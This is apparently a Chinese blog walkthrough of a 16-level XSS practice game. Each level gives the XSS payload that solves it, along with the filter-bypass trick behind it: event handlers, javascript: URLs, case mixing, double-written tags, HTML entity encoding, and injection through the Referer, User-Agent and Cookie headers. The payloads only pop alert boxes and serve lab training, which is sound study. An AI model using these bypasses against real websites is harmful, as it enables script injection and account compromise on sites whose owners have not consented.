• XSS小游戏


    第一关

    直接在URL输入

    ?name=<script>alert('xss')</script>

    第二关

    找源码,输入test,value值变为test,我们可以在输入框尝试xss攻击

    闭合前面的input标签,在插入代码

    payload

    "><script>alert('xss')</script>

     

    第三关

    依旧输入test找注入点

    输入"><script>alert('xss')</script>

    htmlspecialchars()转义成HTML实体

     但是htmlspecialchars在默认情况下不会转义单引号,需要设置quotestyle才会进行转义

    我们可以从单引号测试 payload

    'onclick='window.alert()

    第四关

     尝试输入<script>alert('xss')</script>

    明显的过滤掉了 < >

    这里构造payload绕过 < >

    "onclick="window.alert('xss')

     第五关

    尝试输入<script>alert('xss')</script>

    将前面的script变成scr_ipt

    用其他语句绕过

    输入"onlick="window.alert()

    依旧替换 on变成o_n

    我们采用JavaScript伪协议

    "><a href="javascript:alert('xss')">1</a>

    点击 1 成功绕过

    第六关

    直接测试了一下,过滤了很多,查看源码

     

    我们可以采用大小写混合拼写绕过

    "><img Src=x Onerror=alert(1)>

    第七关

    测试了一下,script跟on等直接没了

    推测被替换成空,查看源码

    果不其然,替换为空,一般采用双写绕过

    "><scrscriptipt>alert('xss')</scrscriptipt>

     第八关

    输入tes

    查看源码,过滤了很多,双引号也被过滤掉了

     

    这里我们只要输入JavaScript:alert(‘xss’)即可

    但是script被替换成scr_ipt

    我们可以采用编码的形式绕过

    payload

    javascri&#x70;t:alert() #HTML实体编码(HEX) 
    javascri&#112;t:alert()   #HTML实体编码(DEC) 

    这是实体编码 entity code

    「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。

    第九关

    输入test测试一下,test出现在value值里面

     

    查看源码,比之前多了一串,需要添加http://,否则无效

    那么就添加http://

    /*这是是注释*/

    构造payload

    javascri&#x70;t:alert()/*http://www.test.com*/

     第十关

    分析源码,keyword跟t_sort两个可以进行get传值,同时t_sort过滤掉了<>,并且t_sort隐藏了

    构造payload

    ?t_sort="onclick="alert()"type="text"

    ?t_sort=" onclick="alert()" type="text"

    第十一关

    可以用HTTP头的referer进行注入,这里我们需要burpsuite抓包

    payload

    t_sort="type="text" onclick="alert(1)

     

     第十二关

     

    这里是HTTP头中的Uuser-agent进行注入

    构造payload

    "type="text" onclick="alert(1)

    在User-Agent后面跟随payload即可

    第十三关

    cookie注入

    user=" type="text" onclick="alert(1)"

    第十四关

    PASS

    第十五关

    ng-include 指令用于包含外部的 HTML 文件

    ng-include 属性的值可以是一个表达式,返回一个文件名。

    payload

    http://localhost/xss/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'

    第十六关

    转义成HTML实体,黑名单容易忽略过滤的字符

    payload

    ?keyword=<img%0asrc=1%0aonerror=alert()>
    %0a %0b %0c %0d (回车换行) 空格绕过




     
  • 相关阅读:
    Ubuntu 11.04 安装后要做的20件事情
    Net 服务命令行参考之一
    Openerp约束句型
    Ubuntu进入Shell
    postgreSql基础命令及linux下postgreSql命令
    解决中文乱码的问题
    An error occured while handling a json request
    Java Socket编程
    CentOS 7 中 Docker 的安装和卸载
    Spring Boot整合shiro-登录认证和权限管理
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11396644.html
Copyright © 2020-2023  润新知